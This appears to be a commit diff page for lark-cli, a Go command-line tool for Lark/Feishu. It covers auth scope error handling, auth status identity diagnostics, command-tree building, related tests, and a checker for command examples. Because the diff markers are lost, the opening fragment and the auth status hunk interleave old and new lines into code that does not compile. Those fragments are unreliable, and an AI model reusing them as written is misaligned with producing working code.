appInfo, err := getAppInfoFn(opts.Ctx, f, config.AppID)
appInfo, err := getAppInfo(opts.Ctx, f, config.AppID)
if err != nil {
// Discriminate by error type so transport / parse failures are not
// reclassified as PermissionError(MissingScope) — re-auth does not
// fix network / 5xx / JSON parse errors and misclassifying them
// here would mislead agents into re-auth loops.
// - typed errors pass through unchanged
// - bare errors become InternalError(SubtypeSDKError) with Cause
// preserved so callers (errors.Is) can still see the underlying
// transport/parse failure.
// Genuine permission failures are surfaced from appInfo *content*,
// not from this transport-level error path.
if errs.IsTyped(err) {
return err
}
return errs.NewInternalError(errs.SubtypeSDKError,
"failed to get app scope info: %v", err).WithCause(err)
return output.ErrWithHint(output.ExitAPI, "permission",
fmt.Sprintf("failed to get app scope info: %v", err),
"ensure the app has enabled the application:application:self_manage scope.")
}
if opts.Format == "pretty" {
fmt.Fprintf(f.IOStreams.ErrOut, "App ID: %s\n", config.AppID)

View File

@@ -1,121 +0,0 @@
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
// SPDX-License-Identifier: MIT
package auth
import (
"context"
"errors"
"fmt"
"testing"
"github.com/larksuite/cli/errs"
"github.com/larksuite/cli/internal/cmdutil"
"github.com/larksuite/cli/internal/core"
)
// stubGetAppInfoErr swaps getAppInfoFn for the duration of t so authScopesRun
// observes a fixed error from the dependency. t.Cleanup restores the prior
// value so tests cannot leak through the package-level seam.
func stubGetAppInfoErr(t *testing.T, errToReturn error) {
t.Helper()
prev := getAppInfoFn
getAppInfoFn = func(ctx context.Context, f *cmdutil.Factory, appId string) (*appInfo, error) {
return nil, errToReturn
}
t.Cleanup(func() { getAppInfoFn = prev })
}
// scopesTestFactory builds a Factory + ScopesOptions pair sufficient to drive
// authScopesRun. Config has a non-empty AppID so we get past the config gate
// and reach the getAppInfoFn call.
func scopesTestFactory(t *testing.T) *ScopesOptions {
t.Helper()
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{
AppID: "test-app",
AppSecret: "test-secret",
Brand: core.BrandFeishu,
})
return &ScopesOptions{
Factory: f,
Ctx: context.Background(),
Format: "json",
}
}
// TestAuthScopesRun_NetworkErrorPassedThrough pins that a typed NetworkError
// surfaced by the dependency is not re-classified as PermissionError —
// re-auth does not fix DNS / transport failures and blanket-wrapping them
// would mislead agents into infinite re-auth loops.
func TestAuthScopesRun_NetworkErrorPassedThrough(t *testing.T) {
netErr := errs.NewNetworkError(errs.SubtypeNetworkDNS, "DNS lookup failed")
stubGetAppInfoErr(t, netErr)
err := authScopesRun(scopesTestFactory(t))
if err == nil {
t.Fatal("expected error, got nil")
}
var permErr *errs.PermissionError
if errors.As(err, &permErr) {
t.Errorf("network failure must not be classified as PermissionError; got %v", permErr)
}
var gotNet *errs.NetworkError
if !errors.As(err, &gotNet) {
t.Fatalf("network failure not preserved through authScopesRun; got %T: %v", err, err)
}
if gotNet != netErr {
t.Errorf("typed network error should pass through identity-stable; got %p, want %p", gotNet, netErr)
}
}
// TestAuthScopesRun_PermissionErrorPassedThrough pins that typed permission
// failures from the dependency also pass through — IsTyped() must not single
// out one category.
func TestAuthScopesRun_PermissionErrorPassedThrough(t *testing.T) {
permErr := errs.NewPermissionError(errs.SubtypeMissingScope, "scope X missing").
WithMissingScopes("im:message")
stubGetAppInfoErr(t, permErr)
err := authScopesRun(scopesTestFactory(t))
if err == nil {
t.Fatal("expected error, got nil")
}
var got *errs.PermissionError
if !errors.As(err, &got) {
t.Fatalf("expected *PermissionError pass-through, got %T: %v", err, err)
}
if got != permErr {
t.Errorf("typed permission error should pass through identity-stable; got %p, want %p", got, permErr)
}
}
// TestAuthScopesRun_BareErrorWrappedAsInternal pins the unclassified branch:
// a bare error (e.g. json.Unmarshal failure inside getAppInfo) surfaces as
// *InternalError{SubtypeSDKError} with the original error preserved on
// Cause so errors.Is still walks to it.
func TestAuthScopesRun_BareErrorWrappedAsInternal(t *testing.T) {
bareErr := fmt.Errorf("failed to parse response: unexpected EOF")
stubGetAppInfoErr(t, bareErr)
err := authScopesRun(scopesTestFactory(t))
if err == nil {
t.Fatal("expected error, got nil")
}
var permErr *errs.PermissionError
if errors.As(err, &permErr) {
t.Errorf("bare getAppInfo error must not be classified as PermissionError; got %v", permErr)
}
var intErr *errs.InternalError
if !errors.As(err, &intErr) {
t.Fatalf("expected *InternalError, got %T: %v", err, err)
}
if intErr.Subtype != errs.SubtypeSDKError {
t.Errorf("InternalError.Subtype = %q, want %q", intErr.Subtype, errs.SubtypeSDKError)
}
if !errors.Is(err, bareErr) {
t.Error("InternalError must carry bareErr via WithCause so errors.Is walks to it")
}
}

View File

@@ -5,11 +5,13 @@ package auth
import (
"context"
"time"
"github.com/spf13/cobra"
larkauth "github.com/larksuite/cli/internal/auth"
"github.com/larksuite/cli/internal/cmdutil"
"github.com/larksuite/cli/internal/identitydiag"
"github.com/larksuite/cli/internal/core"
"github.com/larksuite/cli/internal/output"
)
@@ -17,7 +19,6 @@ import (
type StatusOptions struct {
Factory *cmdutil.Factory
Verify bool
JSON bool
}
// NewCmdAuthStatus creates the auth status subcommand.
@@ -36,8 +37,6 @@ func NewCmdAuthStatus(f *cmdutil.Factory, runF func(*StatusOptions) error) *cobr
}
cmd.Flags().BoolVar(&opts.Verify, "verify", false, "verify token against server (requires network)")
cmd.Flags().BoolVar(&opts.JSON, "json", false, "structured JSON output")
cmdutil.SetRisk(cmd, "read")
return cmd
}
@@ -60,59 +59,73 @@ func authStatusRun(opts *StatusOptions) error {
"defaultAs": defaultAs,
}
diagnostics := identitydiag.Diagnose(context.Background(), f, config, opts.Verify)
result["identities"] = diagnostics
result["identity"] = effectiveIdentity(diagnostics)
addEffectiveVerification(result, diagnostics)
addStatusNote(result, diagnostics)
if config.UserOpenId == "" {
result["identity"] = "bot"
result["note"] = "No user logged in. Only bot (tenant) identity is available for API calls. Run `lark-cli auth login` to log in."
output.PrintJson(f.IOStreams.Out, result)
return nil
}
stored := larkauth.GetStoredToken(config.AppID, config.UserOpenId)
if stored == nil {
result["identity"] = "bot"
result["userName"] = config.UserName
result["userOpenId"] = config.UserOpenId
result["note"] = "Token does not exist or has been cleared. Only bot (tenant) identity is available. Re-login: lark-cli auth login"
output.PrintJson(f.IOStreams.Out, result)
return nil
}
status := larkauth.TokenStatus(stored)
if status == "expired" {
result["identity"] = "bot"
result["note"] = "User token has expired. Only bot (tenant) identity is available. Re-login: lark-cli auth login"
} else {
result["identity"] = "user"
}
result["userName"] = config.UserName
result["userOpenId"] = config.UserOpenId
result["tokenStatus"] = status
result["scope"] = stored.Scope
result["expiresAt"] = time.UnixMilli(stored.ExpiresAt).Format(time.RFC3339)
result["refreshExpiresAt"] = time.UnixMilli(stored.RefreshExpiresAt).Format(time.RFC3339)
result["grantedAt"] = time.UnixMilli(stored.GrantedAt).Format(time.RFC3339)
// --verify: call the server to confirm token is actually usable.
if opts.Verify && status != "expired" {
verified, verifyErr := verifyTokenOnServer(f, config)
result["verified"] = verified
if verifyErr != "" {
result["verifyError"] = verifyErr
}
}
output.PrintJson(f.IOStreams.Out, result)
return nil
}
const (
identityUser = "user"
identityBot = "bot"
identityNone = "none"
)
func effectiveIdentity(d identitydiag.Result) string {
switch {
case d.User.Available:
return identityUser
case d.Bot.Available:
return identityBot
default:
return identityNone
// verifyTokenOnServer obtains a valid access token (refreshing if needed)
// and calls /authen/v1/user_info to confirm the server accepts it.
// Returns (true, "") on success or (false, reason) on failure.
func verifyTokenOnServer(f *cmdutil.Factory, config *core.CliConfig) (bool, string) {
httpClient, err := f.HttpClient()
if err != nil {
return false, "failed to create HTTP client: " + err.Error()
}
}
func addEffectiveVerification(result map[string]interface{}, d identitydiag.Result) {
switch result["identity"] {
case identityUser:
if d.User.Verified != nil {
result["verified"] = *d.User.Verified
if !*d.User.Verified {
result["verifyError"] = d.User.Message
}
}
case identityBot:
if d.Bot.Verified != nil {
result["verified"] = *d.Bot.Verified
if !*d.Bot.Verified {
result["verifyError"] = d.Bot.Message
}
}
token, err := larkauth.GetValidAccessToken(httpClient, larkauth.NewUATCallOptions(config, f.IOStreams.ErrOut))
if err != nil {
return false, "token unusable: " + err.Error()
}
}
func addStatusNote(result map[string]interface{}, d identitydiag.Result) {
switch {
case !d.User.Available && d.Bot.Available:
result["note"] = "User identity is " + identitydiag.StatusMessage(d.User.Status) + "; bot identity is ready for bot/tenant API calls. Run `lark-cli auth login` to enable user identity."
case d.User.Status == identitydiag.StatusNeedsRefresh:
result["note"] = "User identity needs refresh and will be refreshed automatically on the next user API call."
case !d.User.Available && !d.Bot.Available:
result["note"] = "No usable identity is available. Configure bot credentials or run `lark-cli auth login`."
sdk, err := f.LarkClient()
if err != nil {
return false, "failed to create SDK client: " + err.Error()
}
if err := larkauth.VerifyUserToken(context.Background(), sdk, token); err != nil {
return false, "server rejected token: " + err.Error()
}
return true, ""
}

View File

@@ -1,96 +0,0 @@
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
// SPDX-License-Identifier: MIT
package auth
import (
"encoding/json"
"net/http"
"testing"
"github.com/larksuite/cli/internal/cmdutil"
"github.com/larksuite/cli/internal/core"
"github.com/larksuite/cli/internal/httpmock"
)
func TestAuthStatusRun_SplitsBotAndUserIdentity(t *testing.T) {
f, stdout, _, _ := cmdutil.TestFactory(t, &core.CliConfig{
AppID: "test-app", AppSecret: "secret", Brand: core.BrandFeishu,
})
if err := authStatusRun(&StatusOptions{Factory: f}); err != nil {
t.Fatalf("authStatusRun() error = %v", err)
}
var got statusOutput
if err := json.Unmarshal(stdout.Bytes(), &got); err != nil {
t.Fatalf("json.Unmarshal() error = %v", err)
}
if got.Identity != "bot" {
t.Fatalf("identity = %q, want bot", got.Identity)
}
if got.Identities.Bot.Status != "ready" || !got.Identities.Bot.Available {
t.Fatalf("bot = %#v, want ready and available", got.Identities.Bot)
}
if got.Identities.User.Status != "missing" || got.Identities.User.Available {
t.Fatalf("user = %#v, want missing and unavailable", got.Identities.User)
}
}
func TestAuthStatusRun_VerifyReportsBotIdentity(t *testing.T) {
f, stdout, _, reg := cmdutil.TestFactory(t, &core.CliConfig{
AppID: "test-app", AppSecret: "secret", Brand: core.BrandFeishu,
})
reg.Register(&httpmock.Stub{
Method: http.MethodGet,
URL: "/open-apis/bot/v3/info",
Body: map[string]interface{}{
"code": 0,
"msg": "ok",
"bot": map[string]interface{}{
"open_id": "ou_bot",
"app_name": "diagnostic bot",
},
},
})
if err := authStatusRun(&StatusOptions{Factory: f, Verify: true}); err != nil {
t.Fatalf("authStatusRun() error = %v", err)
}
var got statusOutput
if err := json.Unmarshal(stdout.Bytes(), &got); err != nil {
t.Fatalf("json.Unmarshal() error = %v", err)
}
if got.Identity != "bot" {
t.Fatalf("identity = %q, want bot", got.Identity)
}
if got.Verified == nil || !*got.Verified {
t.Fatalf("verified = %v, want true", got.Verified)
}
if got.Identities.Bot.Verified == nil || !*got.Identities.Bot.Verified {
t.Fatalf("bot verified = %v, want true", got.Identities.Bot.Verified)
}
if got.Identities.Bot.OpenID != "ou_bot" {
t.Fatalf("bot open id = %q, want ou_bot", got.Identities.Bot.OpenID)
}
if got.Identities.User.Status != "missing" {
t.Fatalf("user status = %q, want missing", got.Identities.User.Status)
}
}
type statusOutput struct {
Identity string `json:"identity"`
Verified *bool `json:"verified"`
Identities struct {
Bot statusIdentity `json:"bot"`
User statusIdentity `json:"user"`
} `json:"identities"`
}
type statusIdentity struct {
Status string `json:"status"`
Available bool `json:"available"`
Verified *bool `json:"verified"`
OpenID string `json:"openId"`
}

View File

@@ -1,265 +0,0 @@
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
// SPDX-License-Identifier: MIT
package cmd
import (
"context"
"io"
"io/fs"
_ "github.com/larksuite/cli/agent"
"github.com/larksuite/cli/cmd/agent"
"github.com/larksuite/cli/cmd/api"
"github.com/larksuite/cli/cmd/auth"
"github.com/larksuite/cli/cmd/completion"
cmdconfig "github.com/larksuite/cli/cmd/config"
"github.com/larksuite/cli/cmd/doctor"
cmdevent "github.com/larksuite/cli/cmd/event"
"github.com/larksuite/cli/cmd/profile"
"github.com/larksuite/cli/cmd/schema"
"github.com/larksuite/cli/cmd/service"
"github.com/larksuite/cli/cmd/skill"
cmdupdate "github.com/larksuite/cli/cmd/update"
"github.com/larksuite/cli/cmd/whoami"
_ "github.com/larksuite/cli/events"
"github.com/larksuite/cli/internal/apicatalog"
"github.com/larksuite/cli/internal/build"
"github.com/larksuite/cli/internal/cmdpolicy"
"github.com/larksuite/cli/internal/cmdutil"
"github.com/larksuite/cli/internal/hook"
"github.com/larksuite/cli/internal/keychain"
"github.com/larksuite/cli/shortcuts"
"github.com/spf13/cobra"
)
// BuildOption configures optional aspects of the command tree construction.
type BuildOption func(*buildConfig)
type buildConfig struct {
streams *cmdutil.IOStreams
keychain keychain.KeychainAccess
globals GlobalOptions
skipPlugins bool
skipStrictMode bool
skipService bool
serviceCatalog *apicatalog.Catalog
}
// WithIO sets the IO streams for the CLI by wrapping raw reader/writers.
// Terminal detection is delegated to cmdutil.NewIOStreams.
func WithIO(in io.Reader, out, errOut io.Writer) BuildOption {
return func(c *buildConfig) {
c.streams = cmdutil.NewIOStreams(in, out, errOut)
}
}
// WithKeychain sets the secret storage backend. If not provided, the platform keychain is used.
func WithKeychain(kc keychain.KeychainAccess) BuildOption {
return func(c *buildConfig) {
c.keychain = kc
}
}
// embeddedSkillContent is the skill tree wired into cmdutil.Factory.SkillContent
// at build time. It is registered by the repo-root package main's init via
// SetEmbeddedSkillContent — it cannot be threaded through main.go without
// breaking the single-file preview build (see skills_embed.go). nil in builds
// that embed no skills; the `skills` commands then return a typed internal error.
var embeddedSkillContent fs.FS
// SetEmbeddedSkillContent registers the embedded skill tree. Called from the
// repo-root package main's init; a wrapper main can call it before Execute to
// supply its own skill content.
func SetEmbeddedSkillContent(fsys fs.FS) { embeddedSkillContent = fsys }
// HideProfile sets the visibility policy for the root-level --profile flag.
// When hide is true the flag stays registered (so existing invocations still
// parse) but is omitted from help and shell completion. Typically called as
// HideProfile(isSingleAppMode()).
func HideProfile(hide bool) BuildOption {
return func(c *buildConfig) {
c.globals.HideProfile = hide
}
}
// WithoutPlugins builds only repository-owned commands. It is intended for
// inspection tools that need a deterministic command tree.
func WithoutPlugins() BuildOption {
return func(c *buildConfig) {
c.skipPlugins = true
}
}
// WithoutStrictMode builds the complete repository-owned command tree without
// applying user/profile strict-mode pruning. It is intended for offline
// inspection tools, not production execution.
func WithoutStrictMode() BuildOption {
return func(c *buildConfig) {
c.skipStrictMode = true
}
}
// WithoutServiceCommands builds only hand-authored commands. It is intended for
// repository quality gates that should not depend on the remote OpenAPI
// metadata command surface.
func WithoutServiceCommands() BuildOption {
return func(c *buildConfig) {
c.skipService = true
}
}
// WithServiceCatalog builds generated service commands from a specific metadata
// catalog. It is intended for offline inspection tools that need deterministic
// embedded metadata while production execution keeps using the runtime catalog.
func WithServiceCatalog(catalog apicatalog.Catalog) BuildOption {
return func(c *buildConfig) {
c.serviceCatalog = &catalog
}
}
// Build constructs the full command tree. It also installs registered
// plugins and emits the Startup lifecycle event during assembly --
// so Plugin.On(Startup) handlers run even if the returned command is
// never dispatched. The matching Shutdown event is only emitted by
// Execute; callers that bypass Execute will not see Shutdown fire.
//
// Returns only the cobra.Command; Factory and hook Registry are internal.
// Use Execute for the standard production entry point.
func Build(ctx context.Context, inv cmdutil.InvocationContext, opts ...BuildOption) *cobra.Command {
_, rootCmd, _ := buildInternal(ctx, inv, opts...)
return rootCmd
}
// buildInternal is a pure assembly function: it wires the command tree from
// inv and BuildOptions alone. Any state-dependent decision (disk, network,
// env) belongs in the caller and must be threaded in via BuildOption.
//
// Returns (factory, rootCmd, registry). The registry is nil when plugin
// install failed (FailClosed guard installed) or when no plugin produced
// hooks; callers that wire Shutdown emit must nil-check before calling
// hook.Emit.
func buildInternal(ctx context.Context, inv cmdutil.InvocationContext, opts ...BuildOption) (*cmdutil.Factory, *cobra.Command, *hook.Registry) {
// cfg.globals.Profile is left zero here; it's bound to the --profile
// flag in RegisterGlobalFlags and filled by cobra's parse step.
cfg := &buildConfig{}
for _, o := range opts {
if o != nil {
o(cfg)
}
}
// Default streams when WithIO is not supplied so the root command's
// SetIn/Out/Err calls below don't deref nil. NewDefault also normalizes
// partial streams internally; keep both in sync so cfg.streams reflects
// the same values the Factory ends up using.
if cfg.streams == nil {
cfg.streams = cmdutil.SystemIO()
}
f := cmdutil.NewDefault(cfg.streams, inv)
if cfg.keychain != nil {
f.Keychain = cfg.keychain
}
f.SkillContent = embeddedSkillContent
rootCmd := &cobra.Command{
Use: "lark-cli",
Short: "Lark/Feishu CLI — OAuth authorization, UAT management, API calls",
Long: rootLong,
Version: build.Version,
}
rootCmd.SetContext(ctx)
rootCmd.SetIn(cfg.streams.In)
rootCmd.SetOut(cfg.streams.Out)
rootCmd.SetErr(cfg.streams.ErrOut)
// Root-only usage template (curated Usage synopsis + skills footer); see
// rootUsageTemplate.
rootCmd.SetUsageTemplate(rootUsageTemplate)
installTipsHelpFunc(rootCmd)
rootCmd.SilenceErrors = true
// SilenceUsage as a static field (not only in PersistentPreRun) so it also
// covers flag-parse errors, which fail before PreRun runs — otherwise cobra
// dumps usage instead of our structured error. SetFlagErrorFunc on root is
// inherited by every subcommand, turning unknown-flag errors into a
// structured "did you mean" envelope.
rootCmd.SilenceUsage = true
rootCmd.SetFlagErrorFunc(flagDidYouMean)
RegisterGlobalFlags(rootCmd.PersistentFlags(), &cfg.globals)
rootCmd.PersistentPreRun = func(cmd *cobra.Command, args []string) {
cmd.SilenceUsage = true
f.CurrentCommand = cmd
}
rootCmd.AddCommand(cmdconfig.NewCmdConfig(f))
rootCmd.AddCommand(auth.NewCmdAuth(f))
rootCmd.AddCommand(profile.NewCmdProfile(f))
rootCmd.AddCommand(doctor.NewCmdDoctor(f))
rootCmd.AddCommand(whoami.NewCmdWhoami(f))
rootCmd.AddCommand(api.NewCmdApiWithContext(ctx, f, nil))
rootCmd.AddCommand(schema.NewCmdSchema(f, nil))
rootCmd.AddCommand(completion.NewCmdCompletion(f))
rootCmd.AddCommand(cmdupdate.NewCmdUpdate(f))
rootCmd.AddCommand(cmdevent.NewCmdEvents(f))
rootCmd.AddCommand(skill.NewCmdSkill(f))
rootCmd.AddCommand(agent.NewCmdAgent(f))
if !cfg.skipService {
if cfg.serviceCatalog != nil {
service.RegisterServiceCommandsFromCatalog(ctx, rootCmd, f, *cfg.serviceCatalog)
} else {
service.RegisterServiceCommandsWithContext(ctx, rootCmd, f)
}
}
shortcuts.RegisterShortcutsWithContext(ctx, rootCmd, f)
groupRootCommands(rootCmd)
installUnknownSubcommandGuard(rootCmd)
// Bare `lark-cli` in an interactive terminal offers an interactive upgrade
// before printing help; non-bare invocations and non-TTY are unaffected.
installRootUpgradePrompt(f, rootCmd)
if mode := f.ResolveStrictMode(ctx); mode.IsActive() && !cfg.skipStrictMode {
pruneForStrictMode(rootCmd, mode)
}
if cfg.skipPlugins {
recordInventory(nil)
return f, rootCmd, nil
}
installResult, installErr := installPluginsAndHooks(cfg.streams.ErrOut)
if installErr != nil {
installPluginInstallErrorGuard(rootCmd, installErr)
return f, rootCmd, nil
}
var pluginRules []cmdpolicy.PluginRule
var registry *hook.Registry
if installResult != nil {
pluginRules = installResult.PluginRules
registry = installResult.Registry
}
// Policy errors fail-CLOSED when a plugin contributed (security
// intent must not be silently dropped); yaml-only errors fail-OPEN
// with a warning so a typo can't lock the user out.
if err := applyUserPolicyPruning(rootCmd, pluginRules); err != nil {
if len(pluginRules) > 0 {
installPluginConflictGuard(rootCmd, err)
return f, rootCmd, nil
}
warnPolicyError(cfg.streams.ErrOut, err)
}
if registry != nil {
if err := wireHooks(ctx, rootCmd, registry); err != nil {
installPluginLifecycleErrorGuard(rootCmd, err)
return f, rootCmd, nil
}
}
recordInventory(installResult)
return f, rootCmd, registry
}

View File

@@ -1,63 +0,0 @@
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
// SPDX-License-Identifier: MIT
package cmd
import (
"bytes"
"context"
"testing"
"github.com/larksuite/cli/internal/cmdutil"
"github.com/larksuite/cli/internal/vfs"
)
// noopKeychain is a zero-side-effect KeychainAccess for exercising
// WithKeychain without touching the platform keychain.
type noopKeychain struct{}
func (noopKeychain) Get(service, account string) (string, error) { return "", nil }
func (noopKeychain) Set(service, account, value string) error { return nil }
func (noopKeychain) Remove(service, account string) error { return nil }
// TestBuild_ExternalAPI asserts the library surface that external consumers
// (e.g. cli-server) depend on: Build composes a root command from an
// InvocationContext plus BuildOptions (WithIO, WithKeychain, HideProfile),
// and SetDefaultFS swaps the global VFS. This test is the contract guard.
func TestBuild_ExternalAPI(t *testing.T) {
// Exercise SetDefaultFS both directions. Passing nil restores the OS FS.
SetDefaultFS(vfs.OsFs{})
SetDefaultFS(nil)
var in, out, errOut bytes.Buffer
rootCmd := Build(
context.Background(),
cmdutil.InvocationContext{},
WithIO(&in, &out, &errOut),
WithKeychain(noopKeychain{}),
HideProfile(true),
)
if rootCmd == nil {
t.Fatal("Build returned nil root command")
}
if rootCmd.Use != "lark-cli" {
t.Errorf("rootCmd.Use = %q, want %q", rootCmd.Use, "lark-cli")
}
if len(rootCmd.Commands()) == 0 {
t.Error("Build produced a root command with no subcommands")
}
}
// TestBuild_NoOptions guards against regression of the nil-streams panic:
// calling Build without WithIO must fall back to SystemIO rather than
// deref nil at rootCmd.SetIn/Out/Err.
func TestBuild_NoOptions(t *testing.T) {
rootCmd := Build(context.Background(), cmdutil.InvocationContext{})
if rootCmd == nil {
t.Fatal("Build returned nil root command")
}
if rootCmd.Use != "lark-cli" {
t.Errorf("rootCmd.Use = %q, want %q", rootCmd.Use, "lark-cli")
}
}

View File

@@ -1,67 +0,0 @@
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
// SPDX-License-Identifier: MIT
package cmd
import (
"context"
"runtime"
"testing"
"github.com/larksuite/cli/internal/cmdutil"
)
// TestBuild_DefaultNoCompletionLeak verifies that, without any call to
// SetFlagCompletionsEnabled, repeated cmd.Build invocations do not leak
// *cobra.Command instances into cobra's package-global flag-completion map.
//
// This guards the new default (completions disabled) — if someone flips the
// zero-value back to "enabled", the per-Build memory growth observed under
// `scripts/bench_build` would resurface in production hot paths that build
// the root command without serving a completion request.
func TestBuild_DefaultNoCompletionLeak(t *testing.T) {
if cmdutil.FlagCompletionsEnabled() {
t.Fatalf("precondition: FlagCompletionsEnabled() = true, want false (state polluted by another test)")
}
snap := func() (heapMB float64, objs uint64) {
runtime.GC()
runtime.GC()
runtime.GC()
var m runtime.MemStats
runtime.ReadMemStats(&m)
return float64(m.HeapAlloc) / 1024 / 1024, m.HeapObjects
}
// Warm one-time caches (registry JSON decode, embed reads) so the first
// Build's lazy allocations don't skew the per-iteration delta.
_ = Build(context.Background(), cmdutil.InvocationContext{})
baseMB, baseObj := snap()
const N = 20
for range N {
_ = Build(context.Background(), cmdutil.InvocationContext{})
}
mb, obj := snap()
deltaMB := mb - baseMB
deltaObj := int64(obj) - int64(baseObj)
perBuildKB := deltaMB * 1024 / float64(N)
perBuildObj := deltaObj / int64(N)
t.Logf("%d builds: +%.2f MB, +%d objects (%.1f KB/build, %d objs/build)",
N, deltaMB, deltaObj, perBuildKB, perBuildObj)
// With completions disabled (the default), per-Build retained growth
// should be minimal. Threshold is conservative: the previously observed
// leak with completions enabled was ~hundreds of KB and thousands of
// objects per Build, well above this bound.
const maxKBPerBuild = 50.0
const maxObjsPerBuild = 500
if perBuildKB > maxKBPerBuild {
t.Errorf("per-build heap growth = %.1f KB, want <= %.1f KB (completion registration may be leaking)", perBuildKB, maxKBPerBuild)
}
if perBuildObj > maxObjsPerBuild {
t.Errorf("per-build object growth = %d, want <= %d", perBuildObj, maxObjsPerBuild)
}
}

View File

@@ -1,46 +0,0 @@
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
// SPDX-License-Identifier: MIT
package cmd
import (
"context"
"strings"
"testing"
"github.com/larksuite/cli/internal/cmdutil"
"github.com/spf13/cobra"
)
func TestBuildWithoutPluginsStillBuildsBuiltinCommands(t *testing.T) {
root := Build(context.Background(), cmdutil.InvocationContext{}, WithoutPlugins())
if root == nil {
t.Fatal("Build returned nil root")
}
if findCommand(root, "api") == nil {
t.Fatal("builtin api command missing")
}
if findCommand(root, "docs +fetch") == nil {
t.Fatal("builtin docs +fetch shortcut missing")
}
}
func findCommand(root *cobra.Command, path string) *cobra.Command {
parts := strings.Fields(path)
cmd := root
for _, part := range parts {
var next *cobra.Command
for _, child := range cmd.Commands() {
if child.Name() == part {
next = child
break
}
}
if next == nil {
return nil
}
cmd = next
}
return cmd
}

View File

@@ -1,160 +0,0 @@
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
// SPDX-License-Identifier: MIT
package cmd_test
import (
"sort"
"strings"
)
// universalFlags are accepted by every command (cobra auto-injects help; the
// root injects version). They are never reported as unknown.
var universalFlags = map[string]bool{"--help": true, "-h": true, "--version": true}
// catalog is the source-of-truth command catalog: command path -> accepted flag
// tokens. A path is the command words WITHOUT the "lark-cli" root prefix, e.g.
// "contact +search-user". The root command is the empty path "".
type catalog struct {
flagsByPath map[string]map[string]bool
group map[string]bool // paths that are parent groups (have subcommands)
sorted []string // cached sorted paths for suggestCommand; invalidated on addCommand
}
func newCatalog() *catalog {
return &catalog{
flagsByPath: map[string]map[string]bool{},
group: map[string]bool{},
}
}
// setGroup records whether path is a parent group (has subcommands). Leftover
// words after a group node are unknown subcommands; after a leaf they are
// positionals (e.g. "api GET /path").
func (c *catalog) setGroup(path string, isGroup bool) {
if isGroup {
c.group[path] = true
}
}
func (c *catalog) isGroup(path string) bool { return c.group[path] }
// addCommand registers a command path and the flags it accepts. Repeated calls
// for the same path union the flag sets. flags are full tokens ("--query", "-q").
func (c *catalog) addCommand(path string, flags []string) {
set := c.flagsByPath[path]
if set == nil {
set = map[string]bool{}
c.flagsByPath[path] = set
}
for _, f := range flags {
set[f] = true
}
c.sorted = nil // invalidate cached suggestion list
}
func (c *catalog) hasCommand(path string) bool {
_, ok := c.flagsByPath[path]
return ok
}
// hasFlag reports whether flag is accepted by command path (universal flags
// always pass).
func (c *catalog) hasFlag(path, flag string) bool {
if universalFlags[flag] {
return true
}
set := c.flagsByPath[path]
return set[flag]
}
// longestPrefix returns the longest known command path that is a prefix of
// words, plus how many words it consumed. This separates real subcommands from
// trailing positionals (e.g. "api GET /path" resolves to "api"). When words is
// empty it falls back to the root command. ok=false means not even the first
// word names a command.
func (c *catalog) longestPrefix(words []string) (path string, n int, ok bool) {
if len(words) == 0 {
if c.hasCommand("") {
return "", 0, true
}
return "", 0, false
}
for i := len(words); i >= 1; i-- {
cand := strings.Join(words[:i], " ")
if c.hasCommand(cand) {
return cand, i, true
}
}
return "", 0, false
}
// paths returns all known command paths, sorted.
func (c *catalog) paths() []string {
out := make([]string, 0, len(c.flagsByPath))
for p := range c.flagsByPath {
out = append(out, p)
}
sort.Strings(out)
return out
}
// suggestCommand returns the known command path closest to want (small edit
// distance), for error hints. Returns "" when nothing is reasonably close.
func (c *catalog) suggestCommand(want string) string {
if c.sorted == nil {
c.sorted = c.paths() // built once after the catalog is fully populated
}
return closest(want, c.sorted)
}
// suggestFlag returns the flag of path closest to flag, for error hints.
func (c *catalog) suggestFlag(path, flag string) string {
set := c.flagsByPath[path]
cands := make([]string, 0, len(set))
for f := range set {
cands = append(cands, f)
}
sort.Strings(cands)
return closest(flag, cands)
}
// closest returns the candidate with the smallest Levenshtein distance to want,
// but only if that distance is within a tolerance scaled to want's length
// (avoids absurd suggestions).
func closest(want string, cands []string) string {
best := ""
bestD := 1 << 30
for _, cand := range cands {
d := levenshtein(want, cand)
if d < bestD {
bestD, best = d, cand
}
}
tol := len(want)/2 + 1
if bestD > tol {
return ""
}
return best
}
func levenshtein(a, b string) int {
ra, rb := []rune(a), []rune(b)
prev := make([]int, len(rb)+1)
for j := range prev {
prev[j] = j
}
for i := 1; i <= len(ra); i++ {
cur := make([]int, len(rb)+1)
cur[0] = i
for j := 1; j <= len(rb); j++ {
cost := 1
if ra[i-1] == rb[j-1] {
cost = 0
}
cur[j] = min(prev[j]+1, cur[j-1]+1, prev[j-1]+cost)
}
prev = cur
}
return prev[len(rb)]
}

View File

@@ -1,60 +0,0 @@
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
// SPDX-License-Identifier: MIT
package cmd_test
import "strings"
// Finding kinds.
const (
unknownCommand = "unknown_command"
unknownFlag = "unknown_flag"
)
// finding is a single mismatch between an example command reference and the
// catalog.
type finding struct {
line int
raw string
kind string // unknownCommand | unknownFlag
path string // resolved command path (unknownFlag) or attempted path (unknownCommand)
flag string // offending flag (unknownFlag only)
suggest string // nearest known command/flag, "" if none close
}
// checkRefs validates refs against cat and returns all mismatches in order.
func checkRefs(cat *catalog, refs []ref) []finding {
var out []finding
for _, r := range refs {
path, n, ok := cat.longestPrefix(r.words)
if !ok {
attempted := strings.Join(r.words, " ")
out = append(out, finding{
line: r.line, raw: r.raw, kind: unknownCommand,
path: attempted, suggest: cat.suggestCommand(attempted),
})
continue
}
// Leftover words after a group node are an unknown subcommand (e.g. a
// mistyped method like "batch_modify_message"). After a leaf they are
// positionals (e.g. "api GET /path"), so only groups trigger this.
if n < len(r.words) && cat.isGroup(path) {
attempted := strings.Join(r.words, " ")
out = append(out, finding{
line: r.line, raw: r.raw, kind: unknownCommand,
path: attempted, suggest: cat.suggestCommand(attempted),
})
continue
}
for _, f := range r.flags {
if cat.hasFlag(path, f) {
continue
}
out = append(out, finding{
line: r.line, raw: r.raw, kind: unknownFlag,
path: path, flag: f, suggest: cat.suggestFlag(path, f),
})
}
}
return out
}

View File

@@ -1,222 +0,0 @@
